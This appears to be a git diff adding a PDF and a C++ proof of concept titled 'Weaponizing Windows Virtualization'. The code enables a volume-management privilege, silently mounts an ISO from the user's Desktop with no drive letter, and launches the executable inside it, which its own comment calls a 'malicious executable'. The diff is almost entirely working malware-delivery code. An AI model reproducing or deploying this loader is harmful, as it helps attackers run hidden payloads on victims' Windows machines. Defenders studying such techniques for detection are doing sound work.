diff --git a/Weaponizing Windows Virtualization/WeaponizingWindowsVirtualization.pdf b/Weaponizing Windows Virtualization/WeaponizingWindowsVirtualization.pdf new file mode 100644 index 0000000..b61f803 Binary files /dev/null and b/Weaponizing Windows Virtualization/WeaponizingWindowsVirtualization.pdf differ diff --git a/Weaponizing Windows Virtualization/src.cpp b/Weaponizing Windows Virtualization/src.cpp new file mode 100644 index 0000000..837b1de --- /dev/null +++ b/Weaponizing Windows Virtualization/src.cpp @@ -0,0 +1,211 @@ +#include +#include +#include +#include +#include + +//necessary includes + PEB definition + +typedef struct _LSA_UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR; + +typedef struct _LDR_MODULE { + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID BaseAddress; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_MODULE, * PLDR_MODULE; + +typedef struct _PEB_LDR_DATA { + ULONG Length; + ULONG Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +typedef struct _PEB { + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + BOOLEAN Spare; + HANDLE Mutant; + PVOID ImageBase; + PPEB_LDR_DATA LoaderData; + PVOID ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PVOID FastPebLockRoutine; + PVOID FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PVOID* KernelCallbackTable; + PVOID EventLogSection; + PVOID EventLog; + PVOID FreeList; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[0x2]; + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PVOID* ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + BYTE Spare2[0x4]; + LARGE_INTEGER CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID** ProcessHeaps; + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributeList; + PVOID LoaderLock; + ULONG OSMajorVersion; + ULONG OSMinorVersion; + ULONG OSBuildNumber; + ULONG OSPlatformId; + ULONG ImageSubSystem; + ULONG ImageSubSystemMajorVersion; + ULONG ImageSubSystemMinorVersion; + ULONG GdiHandleBuffer[0x22]; + ULONG PostProcessInitRoutine; + ULONG TlsExpansionBitmap; + BYTE TlsExpansionBitmapBits[0x80]; + ULONG SessionId; +} PEB, * PPEB; + +PPEB RtlGetPeb(VOID); + +#define DEFAULT_DATA_ALLOCATION_SIZE (MAX_PATH * sizeof(WCHAR)) + +int wmain(VOID) +{ + DWORD dwError = ERROR_SUCCESS; + VIRTUAL_STORAGE_TYPE VirtualStorageType = { 0 }; + OPEN_VIRTUAL_DISK_PARAMETERS Parameters; + ATTACH_VIRTUAL_DISK_PARAMETERS AttachParameters; + HANDLE VirtualObject = NULL, hToken = NULL; + WCHAR lpIsoPath[DEFAULT_DATA_ALLOCATION_SIZE] = { 0 }; + WCHAR lpIsoAbstractedPath[DEFAULT_DATA_ALLOCATION_SIZE] = { 0 }; + PPEB Peb = (PPEB)RtlGetPeb(); + static GUID VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT_EX = { 0xEC984AEC ,0xA0F9, 0x47e9, 0x901F, 0x71415A66345B }; + LUID Luid = { 0 }; + TOKEN_PRIVILEGES Tp = { 0 }; + PSECURITY_DESCRIPTOR Sd; + DWORD dwData = DEFAULT_DATA_ALLOCATION_SIZE; + STARTUPINFOW Info = { 0 }; + PROCESS_INFORMATION ProcessInformation = { 0 }; + + //make sure we're on Windows 10 + if (Peb->OSMajorVersion != 0x0a) + goto FAILURE; + + //get userprofile e.g. %SystemDrive%\Users\{username} + if (GetEnvironmentVariableW(L"USERPROFILE", lpIsoPath, DEFAULT_DATA_ALLOCATION_SIZE) == 0) + goto FAILURE; + else //append \\desktop\\demo.iso if successful + wcscat(lpIsoPath, L"\\Desktop\\Demo.iso"); + + //get thread tokens + if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken)) + { + if (!ImpersonateSelf(SecurityImpersonation)) + goto FAILURE; + + if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken)) + goto FAILURE; + } + + //see if we have the privilege to manage volumes + if (!LookupPrivilegeValueW(NULL, L"SeManageVolumePrivilege", &Luid)) + goto FAILURE; + + Tp.PrivilegeCount = 1; + Tp.Privileges[0].Luid = Luid; + Tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + //get SeManageVolumePrivilege + if (!AdjustTokenPrivileges(hToken, FALSE, &Tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, NULL)) + goto FAILURE; + + VirtualStorageType.DeviceId = VIRTUAL_STORAGE_TYPE_DEVICE_ISO; + VirtualStorageType.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT_EX; + + Parameters.Version = OPEN_VIRTUAL_DISK_VERSION_1; + Parameters.Version1.RWDepth = OPEN_VIRTUAL_DISK_RW_DEPTH_DEFAULT; + + //open iso file + if(OpenVirtualDisk(&VirtualStorageType, lpIsoPath, + VIRTUAL_DISK_ACCESS_ATTACH_RO | VIRTUAL_DISK_ACCESS_GET_INFO, + OPEN_VIRTUAL_DISK_FLAG_NONE, &Parameters, + &VirtualObject) != ERROR_SUCCESS) + { + goto FAILURE; + } + + //attach to harddisk with no drive letter/path + AttachParameters.Version = ATTACH_VIRTUAL_DISK_VERSION_1; + if (AttachVirtualDisk(VirtualObject, 0, + ATTACH_VIRTUAL_DISK_FLAG_READ_ONLY | ATTACH_VIRTUAL_DISK_FLAG_NO_DRIVE_LETTER, + 0, &AttachParameters, 0) != ERROR_SUCCESS) + { + goto FAILURE; + } + + + //get physical path + if (GetVirtualDiskPhysicalPath(VirtualObject, &dwData, lpIsoAbstractedPath) != ERROR_SUCCESS) + goto FAILURE; + else //if we are able to get physical path, append payload exe that we know is inside of iso file + wcscat(lpIsoAbstractedPath, L"\\Demo.exe"); + + //run malicious executable + if (!CreateProcess(lpIsoAbstractedPath, NULL, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &Info, &ProcessInformation)) + goto FAILURE; + + //close everything + if (VirtualObject) + CloseHandle(VirtualObject); + + if (hToken) + CloseHandle(hToken); + + return ERROR_SUCCESS; + +FAILURE: //generic error handling routine, get last error and close any handles that may be open + + dwError = GetLastError(); + + if (VirtualObject) + CloseHandle(VirtualObject); + + if (hToken) + CloseHandle(hToken); + + return dwError; +} + +PPEB RtlGetPeb(VOID) +{ + return (PPEB)__readgsqword(0x60); +}